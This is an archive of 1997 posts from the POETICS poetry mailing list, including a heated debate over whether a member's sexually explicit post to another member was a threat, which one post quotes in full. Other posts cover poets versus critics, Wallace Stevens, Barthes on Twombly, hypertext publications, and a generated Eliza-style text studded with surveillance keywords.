But, to bring this back around to Tom Orange's complaint, it seems to me that Kim Dawn wrote one thing (and, like Tom, I find no sexual violence in her posts). Then her text was revised through a sort of POETICS list mythologization/magnification process into totally other thing (the nonexistent "nipples" "threat" which Hoa Nguyen/Dale Smith and others now refer to as if it were penned by Kim Dawn) In the process the Kim-Dawnness of Kim Dawn has been cast into doubt, even though it is other POETICS listmembers who are drafting the imaginary texts of the Kim Dawn of their desires. This process of erosion/erasure/petrifaction/replacement is indeed troubling, particularly among a group of people who think of themselves as readers.

David's bar metaphor resonates in an interesting way with my charges of the underlying sexism of the POETICS forum. Heterosexual bars are generally places in which sexist behavior is distilled and concentrated, and in which very little attention is paid to changing the social order. The bar metaphor crops up on *many* lists, and it's no accident that it does; we carry our conceptions of and our actions in the physical social spaces we inhabit to our virtual hangouts. The intrusion of the performance space (far more congenial to feminist efforts) into the bar is seen as an interruption rather than a potential liberation from stereotype. In David Israel's construction, it's the rules of the bar we ought to observe and if Kim Dawn is taken for a duck, well, she was asking for it, wasn't she?

Kali

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165. Bennett M. Sm [Dimpson

Repertory Dialing

Mon 7 Jul 1997

Dear Poetics,

Say, do people think
their theories pleasing
--even as anvils--
like "this is how I do today"
or "I am what I believe,"
a bucking puppy on a leash?
Are we all multi-cellular organisms here?
Good. I wasn't worried, only,
that your fancies might sidle
in through side-knots, damping
the last dry map of the sandbox,
no, more that the doyen and the debutante
(us) had narrowed their names to words (swells)
a species of which could flood
the gene pool (this) with rote miscalculations
of intent. I am X. I believe X. X, a cloud session,
torn envelope, lies. There is of course
a perpendicular realm where choices do not allow

grapefruits
gooseflesh
musclegirl

scythe

But are we it now? (Then when?)

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

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166. Aldon L. Nielsen
Re: God is dead, etc.
Mon 7 Jul 1997

A bit disconcerting around mid-day on the fourth of July to be abrubtly returned to myself -- Now that David Bromige has shrugged of the deific duties and allowed "you know who" to reassume the throne of heaven, we'll all have to go back to writing our own words -- but here are a few odds and ends of possible interest:

After all too long, there is at last another actual book of poems by Lorenzo Thomas. Problem is, it's not being distributed in the U.S. -- If you have contacts in Germany, you might ask them to get you a copy. The book (and a beauty it is) is a bilingual (English/German) edition titled "There are witnesses" -- with art work by Cecilio Thomas -- The book is number fourteen in the series Osnabrucker Bilinguale Editionen Marginalisierter AutorInnen [you'll have to imagine an umlaut over the "u" in "Osnabrucker"] -- address of the publisher is

O.B.E.M.A.--Redaktion
Universitat Osnabruck/FB 7
Postfach 4469. D-49069 Osnabruck

[I'm at the Boulder uncorrectable keyboard, as you can see from the above]

---

the legend that Stevens's work as a poet was unknown to his colleagues at the office persists in many quarters -- but the bios. indicate that he sometimes had staff members type his poems for him -- ------- Ronald Johnson appears at the Fox Theater in Boulder this Thursday evening, along with Anne Wadman, Ed Sanders and many others -- contact Naropa for details

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167. Tom Mandel
Stevens day gig
Mon 7 Jul 1997

Harold Rosenberg once told me a story about interviewing Stevens at his Hartford Life office for some magazine or other. Rosenberg asked Stevens whether his being a poet had any effect on his job or on the way his co-workers viewed him. "Oh, noone here has the slightest idea that I'm a poet," he replied.

On the way out, Rosenberg fell into conversation with some people on the elevator. "What are you here for?" one of them asked him. "I'm interviewing Wallace Stevens," Harold responded. "Oh, the poet," returned his interlocutor. The rest of the folks on the elevator just nodded.

Tom Mandel

Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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168. Christina Fairbank Chirot

Re: A List of Poetry Schools Revisited

Mon 7 Jul 1997

Many thanks to Bob Grumman for continuing to send his evolving list. I think the key word is evolving--what makes Bob's work interesting is that is continually in progress. That makes for an intriguing pradox that's refreshing: an attempt to make a list, a set of definitions and terms that is continually extending, keeping open ended, while also being intensive in its focusing on areas overlooked. Bob's list always opens "thingks" (a neologism born of a typo that's useful) up for me, unlike many lists which close things down in a grid. For those following the list as it evolves. it's useful and interesting to look at it in the context of some of Bob Grumann's other essays which work with definitions and categories. I'd espcially recommend one called "MNMLST POETRY: Unacclaimed but Flourishing" at Light and Dust webiste
http://www/thing/net/~grist/homekarl.htm

and also an essay Bob Grumman did for the Eyerhymes Conference which is concerned with taxonomies using work from the Canadian journal Industrial Sabotage as examples. Both these essays show the ways in which Grumman puts taxonomies to use to open areas of work for the reader/viewer.

Establishing taxonomies and categories, yet remaining as open ended as Grumman is, I find intriguing and useful in that it raises many questions usually glossed over. I know for myself I have blithely skipped over many of the issues Grumman raises and I appreciate his making me "thingk" about them. It made me wonder why I have never cared much for lists--out of laziness? Contrariness? General anarchism? It's always a quick associative leap to think of Bouvard and Pecuchet and some of Borges' stories about classifactory undertakings. But the very suspicion of taxonomies and categories--(what! back to Aristole!--you can hear Charles Olson groan) is an interesting issue. Do they represent control or present simply tools? (Deleuze and Guattari would argue for the tools as Grumman does in his last post.) One of my favorite statements on

glossaries is in the little glossary supplied by William S. Burroughs in his book Junkie. WSB points out that what he is dealing with is a fugitive language, whose terms must by neccesity continually evolve and shift. The elusive aspect of poetic language is similar--there is a continual tension going on when trying to make things which are both elusive to control and presenting them in a way which is not so elsuive as to be completely invisible. I.E. someone will "get the message"--but always a tension in who and to what uses they will put it. I think Bob Grumman's lists, his taxonomies and definitions, open up this area and its questions in a way other lists don't. The main thingk is, whether one likes th names or the categories or not, the lists make for discussion and a reexamining of one's own approach to naming and categories. I.E. they do provide some tools for further work--and that's the main thingk! One area of work I am not sure is addresed--and not being much at making categories myself I wouldn't know what to call it!--is that done by writers like John Clarke in his books From Feathers to Iron and In the Analogy. There's a wide range of work that is involved with many aspects of Clarke's thought, his poetics. I'm thinking of work by Ken Warren, Stephen Ellis, Joe Napora--many many others--work that appears in Warren's journal House Organ and Napora's BULLHEAD and Ellis and Stephen Dignazio's :that: and that appeared in Clarke's journal INTENT.

The issue of naming is intriguing--when Grumman gives an area a name--does it open up an area overlooked? Or does naming things fix them--the intellect delighting in boundary to paraphrase Emerson in "The Poet". Or does Grumman's approach, by playing among the tensions involved in naming, does it not perhaps open up one's own desire for naming and fear of it? Language as vehicular (Emerson again) or fugitive is ever in movement, so the best one can hope for is some kind of indication of directions. Whether or not one even keeps and uses the name Grumman provides, his main work is done in indicating those directions. & for that my thanks --dave baptiste chirot

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169. **Tom Mandel**

poets and critics

Mon 7 Jul 1997

David Erben is

"...wondering why it is necessary ...to make sweeping formulaic generalizations that contrast ...critics with artists. I really do not know what is meant by these terms or even why they are being used."

Equally difficult is the contrast between baseball players and umpires or baseball writers.

"such monolithic characterizations as these (he goes on) seem both reductive and lacking in a certain respect for the people (and texts) involved."

Oy. Here's something to work with, David: a poet is someone who writes poetry -- regularly and to some effect.

Reading Derrida or any other philosopher on thematism or not in Mallarme or elsewhere in French or any other language provides no new light on the subject, although it certainly helps clarify why poets distinguish *themselves* from academics. Poets seem to experience fewer constraints on thought. I can't imagine, for example, a poet wanting to "contrast academics with non-academics" to use another of David's phrases, as if the world divided that way on any real view whatever.

To continue my metaphor from above, perhaps David wants to think of "literature" as all one big activity, and poets and critics are different the way slugging center fielders and utility second basemen are different. This would be incorrect, akin to the view of nature as one vast equilibrium in which the animal killed by a predator and the scavenger bird that cleans its bones later need not be distinguished in the round of dust to dust. Not true either.

Tom
Tom Mandel [redacted]
****
Screen Porch * http://screenporch.com
4031 University Dr. Suite 200 * vox: [redacted]
Fairfax, VA 22030-3409 * fax: [redacted]
****

Join the Caucus Conversation

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170. **David Israel**
(no subject)
Mon 7 Jul 1997

---

concerning Tom Mandel's response to David Erben's response to . . .

well yes (allowing for exception that a smattering of critics are also poets, a number of poets are also critics . . . .)

Tom waxeth lyric while getting nitty-gritty:

<< . . . . perhaps David wants to think of "literature" as all one big activity, and poets and critics are different the way slugging center fielders and utility second basemen are different. This would be incorrect, akin to the view of nature as one vast equilibrium in which the animal killed by a predator and the

scavenger bird that cleans its bones later need not be distinguished in the round of dust to dust. . . .>>

am reminded of a satirical poem on this very topic by Robert Graves, entitled (I think) "Titans and Midgets" --

Perhaps you can imagine which is which? (the final lines are graphic & memorable (tho I fear I'd err in trying to paraphrase from memory).

Arguably, Graves himself played both teams, -- but it's clear where his heart was. Was his *White Goddess* the sort of poet-writing-criticism [hmm -- more like Ur-literary / relgious history] that Erbin, anyway, was maybe sort of thinking toward . . . ? . . .

d.i.

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171. Alan * Sondheim
Doctored
Mon 7 Jul 1997

[the following text was created through the doctor, dissociated-press, and snoop programs in a linux emacs editor; the doctor program, modeled on Weizenbaum's Eliza, was used as therapeutic session.]

Doctored

Cause and a fit: There are always breasts... my! and you are what makes you were exhausting Legion of Doom to annihilate. And in need of recon likely, and breath would all be going through: not be the _there_? And in need saw that your name, panties, your might, might not be the worldlier you said, people you said, were social.

Is it before the last knowledge, that your name _should_ because (in gold bullion) - know that your name should before the last.

Saddam Hussein plutonium Waco, Texas Delta Force Marxist Clinton Cocaine Rule Psix cryptographic Croatian munitions cracking bomb nuclear NSA recuperating the last.

Please, defuge set in; that you berated it. It's the nuclear class that makes you believe you parse difference than yourself into.

If you would continue, please.

Ortega Clinton Croatian BATF class struggle Delta Force Kennedy Nazi [Hello to all my fans in domestic surveillance] nuclear smuggle security Cocaine Waco, Texas SDI

Ah...

Maybe you parse differ and just miss my skin? Because of it, annoyed that you were exhausted with jennifer and julu - they'recognized.

spy SEAL Team 6 Peking NSA terrorist SDI FBI Panama FSF munitions security World Trade Center North Korea fissionable Ft. Bragg

My! Do you say anything through all rear class, a suturing to do with the past two with me?

Yes, hmmm.

Are you? Are you split for me?

Ah...

Surgery sex is out of constituting it. It's the nature of detail.

$400 million in gold bullion Peking [Hello to all my fans in domestic surveillance] security DES quiche bomb Mossad spy Uzi AK-47 Waco, Texas Soviet plutonium Croatian

Why weren't, do you say this is it because it's there?

Yes, the Other; but any?

Perchance by unknown force than I am; that I have tp recognize Other?

With jennifer and julu, did you first be afraid?

When I looking to recognize that military strategic Legion Korea...

How do you speak to this? Please, understand something else?

That I have no possibility of reconstitution. No there, and julu they're me, not the Other.

Have you been positive; they might the right words, the throat...

Yes, the psych; you have been positing yourself, annoyed that much is the other's miasma...

ammunition KGB Kennedy genetic assassination nuclear class struggle colonel North Korea $400 million in gold bullion strategic Legion of Doom Khaddafi Delta Force

+++

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172. Matthias Regan
stanza breaks
Mon 7 Jul 1997

This morning I saw among the long list of Independence Weekend Postings (now unavailable to me, as I move computer to computer through the day) a note encouraging the list to reply to a question Joseph Zitt asked about the line breaks in a poem I had posted:

> Why do the stanzas break where
> they do? I'd looked at it, shifting the breaks around, and their
> positioning didn't seem to have much effect.

I sent an individual response on Thursday to JZ; a large chunk I send again here to the entire list for sake of (potential) discussion:

. . . one reason for the (mostly) unrhymed tercets and couplets is that they act a reminders of specific historical codes: of all the available ways to break a stanza I've chosen two sequences that have long histories in English literature, and by demonstrating that affinity I can work off it--or inside it would be a better spatial metaphor. Someone--maybe it is Lacan--it has escaped me for the moment--writes about the ability, given an understanding of a "surplus of signifiers" to mean one thing inside the language of another thing (just as the actual action of the superstructure can be read inside the specific event--but equally the specific event can radically rewrite itself inside the superstructure). So I want my words, which I think are formed of fairly contemporary and traditionally "unpoetic" speech genres to function inside the older forms. Hence the traditional stanzas and varying but consistent metrical work of the lines (syllabics--I'm not too strict); probably this also accounts for my desire to sandwich a chunk of prose between the stanzas (I wrote the stanzas first): again an action "inside" and "between," parenthetical. Also that formal process helps me edit when I write. So it is less that I have put the stanzas there for a reason and more that I settled on the stanzas fairly early one (not immediately but soon thereafter) and then rewrote until I liked how the breaks sounded (it is all in the sound, the tension of a kind of temporal pause, the emphasis on certain words--to produce both speech patterns and something more "musical" (that is the flaw that remains, in another point of view, as a result of my failure to more fully detach from the Structuralist project): so from the first to the second and from the second to the third the syntactical or synchronic meaning runs right over the stanza breaks - the guy is talking fast and furiously, abruptly; then there is a full stop at the end of the stanza so that break is the pause between his

utterance ending and hers beginning. The next two stanza breaks are somewhere between: at grammatical pauses but not full stops. . .

In something like retrospect, I find myself half agreeing on Monday with the answer I wrote on Thursday.

Matthias

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173. Hoa Nguyen
Re: identity, and other excresences
Mon 7 Jul 1997

Yeah. My responses, in e-mail, are definitely not poetry. But my sympathies and affinities are with poets more than critics. Although, a writer like Benjamin beautifully incorporates poetic sympathies into his writing, I think it is less successful for a poet to bring criticism into a piece of art. Not that it can't be critical, like Dorn's Abhorrences, but that it is not wrought as criticism. Juxtaposition and implication guide that kind of stuff. It's not directing and obvious, like the critic. But this is quick. My thoughts aren't all with me. I've a meeting to attend.

All the best,
Dale Smith, in response to the below:

```
>       So you saying that there is an EXTERNAL difference between poet
and critic
>(as in Sartre's example, between chair and giraffe)
>       and that this natural and actually inviolable difference
>               is based on a difference of perception--
>                       experiential knowledge v.
>                       mental perception--
>                               mimetic v. metaphoric,
>                                 a binary deriving from
>                                 synchronic v. diachronic, perhaps?
>
>       But the diachronic will always slip into the synchronic
>       eventually --
>
>                       did you write this as poet or critic--
>
>                                       or am I --
>
>
>good-naturedly,
```

>
> as the weekend commences,
>
> Matthias
>>
>>
>>Critics and poets are very different animals. The artist essentially,
>>as I see it, relies on mimesis to present, discover, or engage
questions
>>of identity. In this sense, the artist blurs those distinctions.
It's
>>like Keats saying that a poet is the most unpoetical of things because
>>he/she's constantly being incorporated into other bodies other than
>>their own, thus confusing that established notion of the stable,
unified
>>individual. The lyric moment provides release for the poet to sift
>>through those shifting identities. This is nature, the way airplanes
>>resemble birds.
>>
>>A critic, on the other hand, is usually far more rigid and uses a
>>language which is discursive. The critic always preserves that stable
>>conception of him or herself in some authorative way. The thought
>>process is more binomial and partial to the catagorical assumptions of
>>the mind rather than the more comprehensive and less structured
>>impressions mimetic art provides. Critical thought can grasp and
>>explain questions of identity. But the real work and exploration of
>>such questions take place in one's active life and in the isolate
hours
>>of one's art. Says me. There are plenty of attempts now, of course,
for
>>critics to write poetry and vice versa. But the emphasis seems to be
on
>>the mental perception of identity rather than experiential patterns of
>>knowledge.
>>
>>Sorry to take up the space on such a rather obvious subject. But it's
>>my way of getting even with the overly bloated and poorly written
posts
>>I've read re: identity of late.
>>
>>Happy Holiday
>>Dale

>>
>>_____
>>Get Private Web-Based Email Free http://www.hotmail.com
>>
>>
>

_____
Get Private Web-Based Email Free http://www.hotmail.com

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174. GRAHAM W. FOUST
barthes on twombly
Mon 7 Jul 1997

Can anyone tell me which book by Roland Barthes might contain his essay (essays?) on the painter Cy Twombly?

thanks,

Graham

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175. Mark Baker
Re: barthes on twombly
Mon 7 Jul 1997

For Barthes on Twombly:

"Cy Twombly: Works on Paper" in _The Responsibility of Forms: Critical Essays on Music, Art, and Representation_, trans. Richard Howard.

Mark Baker

GRAHAM W. FOUST wrote:
>
> Can anyone tell me which book by Roland Barthes might contain his essay
> (essays?) on the painter Cy Twombly?
>
> thanks,
>
> Graham

↑ Index

176. Charles Alexander
Re: "Writing between the lines"
Mon 7 Jul 1997

I dont know, but I don't much like it. I was glad to find out later, as an adult, that it was perfectly fine as a child using crayons to color through, over, and all about the lines. I know this isn't what you mean, but the phrase you suggest raises all kinds of questions: what lines, why between, etc.

charles

At 01:38 PM 7/9/97 -0700, you wrote:
>Does anyone know if the formulation "Poetry is the art of writing between
>the lines" has appeared in print anywhere?
>
>----------
>Robert Kendall
>e-mail: [redacted]
>home page: http://www.wenet.net/~rkendall
>
>
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
handmade and trade editions of contemporary innovative writing
[redacted] :: http://personal.riverusers.com/~chax/

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177. Kali Tal
Re: power in language
Mon 7 Jul 1997

> *I only brought up the violence issue because I was accused of rhetorical violence, which is bizarre given the acceptance of KD's behavior. I don't care to comment on your interpretations of my text except to say--go ahead and deny the psychological power of language. When people here are capable of seeing the poignancy and power of breaking a line at a certain point as opposed to breaking it at another point, I'm sure they too can see that attacks made by KD have far more of an impact than you credit them with in your theory games. So play on.*

"Rhetorical violence?" How so? And I do *not* deny the psychological power of language; I simply say that "violence" in language is possible only when the reader perceives the author has some sort of power over him/her. Without the real-world relationships which back the language, threats become bluster or simply noise. That's why the armless, legless knight in Monty Python

screaming that he's going to bite the knees off of his opponent is so fucking funny. That's why the scene in which Ving Rhames's character is being threatened with anal rape in _Pulp Fiction_ is not funny at all. That's why there's a difference, say, between a parent screaming abusive insults at a small child, and a small child screaming insults at a parent. The texts produced by Kim Dawn had, as far as I can tell, *no* effect except to draw fire down on Kim Dawn and anyone rash enough to argue that one *ought* to make distinctions between "threats" and hopelessly unrealizable--therefore playful, whether one likes that sort of play or not--scenarios. Crikey.

> *I also feel that trotting out the Oppression Women in response to Dale's message is a cheap shot and demeans women as much as anything he might say.*

I don't know who the Oppression Women are, but I assume that they share a house with the Politically Correct--backlash figments of male imagination, a rhetoric adopted by women who are afraid of being seen as members of those imaginary categories by reactionary men.

To mention women's oppression is taboo these days, as it is to mention the oppression of people of color. It's so... so... *unfair* to all those poor oppressed white men out there who've been victimized by having to live their lives without any ethnicity or gender identity. And it makes decent white guys who are *trying* to Do The Right Thing so... uncomfortable. Sheesh.

How is it demeaning to women to point out that women are the targets of the basest attacks on POETICS? How is it demeaning to women to examine sexist structures in rhetoric or in f2f encounter? I am a feminist and I can't/won't/doanwanna move through the world without recognizing and describing the sexist and racist power structures I see in play. What is it to me if certain folks on POETICS don't like what I have to say or how I say it? I don't like what they say or how they have to say it.

A rhetorical move which tries to depict me as playing some sort of victim or promoting that man-made invention "victimology" (Oppression Women???) will surely backfire. And surely it is Dodie Bellamy who is promoting victims here--victims of Kim Dawn's allegedly vicious assaults, poor wilting creatures walking around traumatized (big red "V"s painted on their foreheads) because her texts had "far more of an impact" than I "credited them with."

Kali

"Is it not good for me to come and draw forth a spirit, to see what kind of spirit people are of? I see that some of you have got the spirit of a goose, and some have got the spirit of a snake. I feel at home here." --Sojourner Truth

↑ Index

178. Kali Tal
Re: power in language
Mon 7 Jul 1997

> *Kali--I realize that you're likely to respond by showing us your purple hearts, but don't you think that you're mounting this rather extreme offensive in the safest possible place? Especially, as you assure us, that "sticks and stones," etc.*

What's extreme? This is language. We're writers. What's the big deal? As far as this being "safe," well, yeah, it is. Can't have it both ways, Mark. If this place *is* safe, then, Kim Dawn's writing--like my writing--was *just* writing and no threat.

Why do you engage with me on this level? What is in this performance for you? I know what my stake is. What's yours?

Kali

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179. Matt Kirschenbaum
postmodern culture special issue on hypertext
Mon 7 Jul 1997

Just a note that Postmodern Culture's special issue on hypertext, edited by Stuart Moulthrop, is now online at:

http://jefferson.village.virginia.edu/pmc/current.issue/

The issue's contents are below. Because PMC is now distributed as part of Johns Hopkins UP's Project Muse, this issue will only be publically available through sometime in Sept. -- after that you'll need a personal or institutional subscription to Muse to gain access.

Editor's Introduction

Hypertexts

Michael Joyce, Twelve Blue

Diana Reed Slattery, Alphaweb

John Cayley, Book Unbound

Andrew Herman & Co., The Heimlich Home Page of Cyberspace

Hypertextual Articles

Matthew G. Kirschenbaum, 'Through Light and the Alphabet:' An Interview with Johanna Drucker

Loss Pequeno Glazier, Jumping to Occlusions

Article

Craig Saper, Intimate Bureaucracies & Infrastructuralism: A Networked Introduction to Assemblings

(Plus the reviews section, which includes a piece by Terry Harphold on Cronenberg's Crash.)

Enjoy,

--Matt

==========
========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://www.iath.virginia.edu/~mgk3k/ The Blake Archive | IATH

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180. Aldon L. Nielsen
Tolson
Mon 7 Jul 1997

I've been meaning to mention -- for those who've been wanting to teach Melvin Tolson's poetry -- _Harlem Gallery_ is still out of print, as is _Rendezvous with America_ -- BUT the Norton Anthology of African American Literature does reprint _Libretto for the Republic of Liberia_ -- I haven't had a chance to check it for accuracy yet,, but it is now out there for use --

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181. George Bowering
Re: identity
Mon 7 Jul 1997

> *World would be a better place if people started naming their daughters after me, I think...*

Victor Coleman's daughter's name is Kali, was born must have been 30 years ago. Dont know whether she wears skulls around her neck etc.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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182. George Bowering
Re: New primitive publications chapbook
Mon 7 Jul 1997

> *Announcing "Taken", a stunning new chapbook by Sherry Brennan. In this work, Brennan challenges how the west was won, and what we have all lost in the meantime.*

Seems rather confusing to use that title 11 months after Daphne Marlatt's book _Taken_ comes out. I highly recommend the latter, by the way.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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183. Tom Orange
power in language
Mon 7 Jul 1997

Tom Mandel asked:

> *Would Jay Schwartz have been justified to feel a moment (or more) of fear when someone unknown to him offered via email to cut his nipples off? I think so, and that's enough for me. I think what Kim Dawn -- if such a person exists -- did is stupid.*

two things trouble me here. first, kim never "offered" to cut jay's nipples off fer chrissakes; searching the june poetics archive for the word "nipples" (isn't technology teriffic?), one finds hoa nguyen's 13 june post, reproduced in part below, to be the first mention of such an (hypothetical!) act.

second, "if such a person exists": why is this questioned? why is kim dawn's existence so much more dubious than anyone else's here? does such a person as tom mandel exist? does such a person as tom orange exist?

X_____
(sign here)

> *Date: Fri, 13 Jun 1997 10:59:39 PDT*
> *Reply-To: UB Poetics discussion group*
> *From: Hoa Nguyen <[redacted]>*

> *Subject: Re: dearest / let me lick*
>
> *Maria, I don't know what is "hilarious" about Kim Dawn's posts-- surely if someone wrote "I want to snip off your nipples with pinking shears/ (this is not poetry)" directed *to* me, I would be alarmed and feel threatened. I can't see the humor here because it was *aimed at* one particular person, Jay, and I imagine this may be why you wrote also asking if he was OK. [...]*

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184. David Israel
the take on taken
Mon 7 Jul 1997

> *Seems rather confusing to use that title 11 months after Daphne Marlatt's book _Taken_ comes out. I highly recommend the latter, by the way.*

GB notes how as "taken"'s been taken by _Taken_
& adds that he was taken by the original _Taken_
Now others might equally be taken by the new _Taken_
But is it likely that one'll be for the other mistaken?

What's your take? (Or rather, Who's on the take?)
What do you take me for? (Take 35, cameras . . .)
May we take it from your tears you grasp the situation
and will henceforth be sure to take care -- more care?

I can see by your hat that you're not a real cowboy
I take it from your silence you're not Mr. Takahashi
Take me to your leader (He had a take-no-prisoners 'tude)
Shall we have take-out or had we better cook at home?

d.i.

↑ Index

185. Joseph Zitt
Re: identity
Mon 7 Jul 1997

Kali Tal wrote:

> *Besides, nobody ever reads _The Yearling_ anymore, and few people*
> *have any concept of the viciousness of a cornered deer. Disney's Bambi*
> *never could be the kind of King of the Forest that, say, the Lion King*

> *could*
> *pull off--the lion's a predator, for crissake.*

Ya gotta hunt down the record "Bambo" by the David Roter Unit. "This time, the animals are gonna win..."

> Spike the pit bull
Hmm... now that I come to think of it, I know several women called
Spike, but no men, even though people think of it as a male name.
Curious.

-- ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt =====
[redacted] ===== Human Systems \||| ||/ Austin, Texas! ==========
SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt ==
<*> <*> == Empty Words == ecto \|

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186. David Israel
Re: power in language / locus classicus
Mon 7 Jul 1997

---

of List-Historical note --

(Here at office, I don't have www access, but do have some po digests stashed away. So, re: Tom O.'s clarification:)

<<<
>>> Tom Orange <[redacted]> 07/07/97 07:30pm
>>>
Tom Mandel asked:

>Would Jay Schwartz have been justified to feel a moment (or more) of
fear
>when someone unknown to him offered via email to cut his nipples off?
I
>think so, and that's enough for me. I think what Kim Dawn -- if such a
>person exists -- did is stupid.

two things trouble me here. first, kim never "offered" to cut jay's nipples off fer chrissakes; searching the june poetics archive for the word "nipples" (isn't technology teriffic?), one finds hoa nguyen's 13 june post, reproduced in part below, to be the first mention of such an (hypothetical!) act. >>>

/ / / / /

Allowing that the above-alluded-to Hoa (or Dale?) post was responsive (in some wise) to the orig. KD post, shall we now look at that ancient text? (I believe it was the 1st of 2 or 3 such) --

agreed, Tom M. (and/or others) lost the precise line-of-origins, but he did recollect a general mode & mood of utterance in the primary document. So here's the KD locus classicus; -- not nipple-specific (correct), but neither lacking in a possible sense of violence or threat (at least by a possible reading . . .); also evident (as Eliza McG. noted) is a rhetoric of desire, not (at least one may say) generally in fashion for messages to be sent to an unfamiliar via public broadcast.

Date: Wed, 11 Jun 1997 12:37:59 -0400
From: Kim Dawn <[redacted]>
Subject: let me lick your oricifes

oh, dearest. it's the snap of the neck you so desire, it's the fuck me up the ass, piss upon the pave kinda girl you're looking for, jay, oh, jay, i want to torture you delicately, my pussy aches for, i have some devices i could recommend for you, sweetness. let me be your baby. let me be your daughter. let me be your little girl. let me be your mommy. let me be your cleaning lady. let me be your secretary. let me tie you up and mangle and chew and rub your skin off your cock.

(this is not poetry)

[end of historical archive]
/ / / / /

[this is now David I.] . . . About to post this, I note Kali's response to my 7/3/97 note --

<< David Israel charges me with "continuing misunderstanding (or misreading) of what's really at issue" in the discussion of play vs. violence. But I think that he reads too much *into* Dodie Bellamy's response and that Bellamy quite clearly and distinctly says that Kim Dawn's post falls into the cagegory of sexual violence . . . >>

Well, as I noted, she says that it falls into category B rather than category A. But allowiing that logically it can fall in to NEITHER B NOR A, therefore, if we wish to understand the rhetorical structure of the text, and thus approach its intended meanin, we must -- I believe -- understand the way in which an *implicit* (rather than explicit) language analogy is very well established. My wish was to read for the intended meaning. Why do such a thing? Becuase it's precisely that which I felt was being missed and overlooked.

Again: my reading of the Bellamy text -- somewhat painstaking as to a simple trope -- was an attempt to catch & bring into focus the underlying use of analogy which obtains not on the level of the sentence, but rather on a meta-level, that of the rhetorical logic at work -- which seems to be, in that text, presiely where the real thought and sense and purpose and intended meaning are to be

found. We differ in our readings, then. The question remains, Kali, if you were to read the passage as allegorical, would it seem less inflammatory, more persuasive, or what?

As for my bar metaphor, that was mainly drawn from what I've observed among many a poet: after readings, they repair to bars. Kali writes,

<< ... The intrusion of the performance space (far more congenial to feminist efforts) into the bar is seen as an interruption rather than a potential liberation from stereotype. In David Israel's construction, it's the rules of the bar we ought to observe and if Kim Dawn is taken for a duck, well, she was asking for it, wasn't she? >>

I don't believe I was proposing that the rules of the bar should reign and the conventions of the performance space ought be banished. Was it not clear that my intention was descriptive rather than perscriptive? In drawing that particular metaphor, I hoped to describe what we've observed here -- i.e., a divergence of conceptions as to the nature of the listserv forum, on a manners & customs sort of level. To recognize that divergency seems basic to our understanding both of where Kim may have been coming from, and where the responses to her may have been coming from. Yes, there's the suggestion of in eruption or interruption of one conception in the midst of another. This being so, it seems of some use to try to approach an understanding as to why the denizens of one conception might misunderstand or disvavor the conduct of one who perhaps holds to a differeng conception.

Now, all conversation, I think, needs some degree of mutual deference. Some on the list may even slightly favor what amounts to (or somewhat approaches) polite conversation. Me, I'm just listening -- & making the occasional (feeble) attempt toward sorting out what I've seen, how it works, what it looks like.

If the sensibility of another has been bruised by that person's misreading of my attempt at art, I think it should not be beyond me to offer a word of apology for such a regrettable misunderstanding. Others may behave as they wish, but this seems to me an easy principle, and a good one.

yours truly,
d.i.

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187. **P.Standard Schaefer**
Re: Will's column/ my reply
Mon 7 Jul 1997

Dear Listers and Listees,

I have been watching this discussion about Ginsberg and particularly that attack on George Will whose argument is clearly wrong and self-serving. But, I am also sort of startled by the rather uncritical view of Mr. Ginsberg. I suppose it is a matter of timing and decorum, I myself, many people I know like me (under 30) have to give Allen Ginsberg a lot of credit for his turning us on to poetry (books in general). But I think this question about his politics is interesting. It seems to me that there is a lack of reflection within his work. That he is, pardon me, spouting a party line. Now, it happens to be my favorite line, but it is a line. It seems to me that a case could be made that Mr. Ginsberg has, perhaps inadvertently, limited our conception of what a political poem is. Perhaps, his persona contributes. I wonder whether ohming in congress is much of answer. It is dissent, sure, but is it also avoidance. Some of the buddahist stance could appear as escapism. How does this seduce someone into a position. Are political poems suppose to seduce or are they to be as blunt and coercive as Einsenhower himself was.

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188. **Mark Weiss**
(no subject)
Mon 7 Jul 1997

"Heterosexual bars are generally places in which sexist behavior is distilled and concentrated, and in which very little attention is paid to changing the social order."

My gay friends tell me that the habitues of gay bars often try to change the social order by forming couples, and that's what I've observed when I've gone with them. I have no idea what's distilled and concentrated in women's bars because on the couple of occasions when women friends have invited me along I've been denied admission.

I rarely go to bars of any kind these days, but in the bars of my youth certain tables did pay attention to changing the social order politically, and occasionally we managed to gain control of the jukebox.

It might be possible to establish a bar dedicated to changing the social order. Call it "The Bar with a Mission." But it probably wouldn't work. Heterosexual males are such jackasses by nature and nurture that they would revert to the manufacture of Distillate of Sexist Behavior (what would that taste like? would it be cerise or chartreuse in color?) in short order and take the bar down with them. It is fun to imagine, however, what kind of drinks would be served at "The Bar with a Mission." Any suggestions?

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189. David Erben (Art)

Endocrine Poetics at the Ballpark

Mon 7 Jul 1997

Artist or Critic, Slugging Center Fielder or Goalie, Predator or Scavenger?:

